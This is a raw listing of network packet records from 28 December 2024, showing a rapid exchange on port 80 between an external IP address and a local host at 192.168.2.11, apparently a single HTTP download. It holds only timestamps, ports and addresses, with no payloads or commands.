Dec 28, 2024 09:57:00.894592047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.894664049 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.894690037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.895730019 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.895854950 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.895889044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.896878958 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.896925926 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.896976948 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.898031950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.898116112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.898161888 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.899147034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.899252892 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.899255991 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.900290966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.900350094 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.900398016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.901456118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.901505947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.901562929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.902586937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.902632952 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.902692080 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.903748035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.903834105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.903839111 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.904880047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.904946089 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.904975891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.906019926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.906128883 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.906158924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.907192945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.907253981 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.907289982 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.908313036 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.908369064 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.908447981 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.909502983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.909555912 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.909576893 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.910849094 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.910856962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.910933018 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.911825895 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.911881924 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.911885977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.912916899 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.912995100 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.913023949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.914073944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.914141893 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.914175034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.915216923 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.915257931 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.915385962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.916357994 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.916445017 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.916450024 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.917505026 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.917572975 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.917598963 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.918623924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.918687105 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.918735027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.919836044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.919881105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.919881105 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.920953035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.921060085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.921092987 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.922076941 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.922126055 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.922188997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.923243046 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.923295021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.923342943 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.924423933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.924469948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.924592972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.925595045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.925647974 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.925724983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.927088022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.927160978 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.927228928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.928009987 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.928018093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.928075075 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.928944111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.929054022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.929136992 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.930109978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.930172920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.930187941 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.931263924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.931338072 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.931422949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.932585001 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.932687998 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.932709932 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.933552027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.933619022 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.933649063 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.934712887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.934782982 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.934881926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.935846090 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.935923100 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.935987949 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.936964035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.937056065 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.937060118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.938123941 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.938236952 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.938251019 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.939306974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.939376116 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.939440012 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.940434933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.940484047 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.940532923 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.941584110 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.941643953 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.941675901 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.942718029 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.942799091 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.942827940 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.943867922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.943922997 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.943959951 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.945003986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.945067883 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.945106983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.946171045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.946254969 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.946274996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.947288990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.947355032 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.947390079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.948456049 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.948498011 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.948573112 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.949592113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.949686050 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.949704885 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.950769901 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.950964928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.951028109 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.951945066 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.952037096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.952101946 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.953057051 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.953107119 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.953139067 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.954190969 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.954287052 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.954361916 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.955430031 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.955439091 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.955481052 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.956473112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.956522942 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.956556082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.957618952 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.957675934 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.957812071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.958774090 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.958830118 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.958839893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.959918022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.960025072 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.960042953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.961086988 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.961159945 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.961278915 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.962254047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.962307930 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.962308884 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.963359118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.963418007 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.963453054 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.964517117 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.964587927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.964613914 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.965645075 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.965745926 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.965754032 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.966774940 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.966886044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.966953993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.967925072 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.968053102 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.968111038 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.969058037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.969113111 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.969183922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.970220089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.970314980 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.970328093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.971402884 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.971474886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.971477985 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.972520113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.972580910 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.972615957 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.973751068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.973804951 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.973905087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.974836111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.974975109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.974976063 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.975961924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.976075888 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.976077080 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.977094889 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.977176905 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.977205992 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.978295088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.978426933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.978491068 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.979453087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.979500055 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.979506016 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.980571985 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.980619907 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.980909109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.981708050 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.981756926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.981818914 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.982848883 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.982947111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.982984066 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.983998060 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.984047890 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.984106064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.985155106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.985217094 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.985239029 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.986274004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.986335039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.986336946 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.987432003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.987554073 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.987644911 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.988559961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.988614082 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.988676071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.989722967 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.989789009 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.989810944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.990861893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.990915060 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.990919113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.992013931 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.992084026 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.992105007 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.993172884 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.993269920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.993350029 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.994302034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.994364977 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.994396925 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.995450974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.995521069 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.995548010 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.996609926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.996661901 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.996745110 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.997757912 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.997848034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.997970104 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.998907089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.998940945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.998985052 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.000178099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.000227928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.000252008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.001173973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.001235008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.001291990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.002365112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.002403021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.002422094 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.003487110 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.003505945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.003566980 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.004667997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.004674911 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.004735947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.005769014 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.005827904 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.005865097 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.006917953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.006970882 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.007023096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.008075953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.008177996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.008239031 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.009202003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.009313107 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.009320974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.010359049 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.010425091 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.010457039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.011506081 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.011581898 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.011614084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.012692928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.012808084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.012876034 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.013804913 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.013873100 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.013957977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.014938116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.014997005 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.015000105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.016117096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.016154051 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.016227007 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.017250061 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.017364025 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.017411947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.018389940 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.018460035 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.018492937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.019546986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.019646883 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.019720078 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.020673037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.020736933 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.020770073 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.021833897 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.021899939 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.021934032 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.022969007 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.023030996 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:01.023062944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:01.024125099 CET	80	49771	185.215.113.16	192.168.2.11
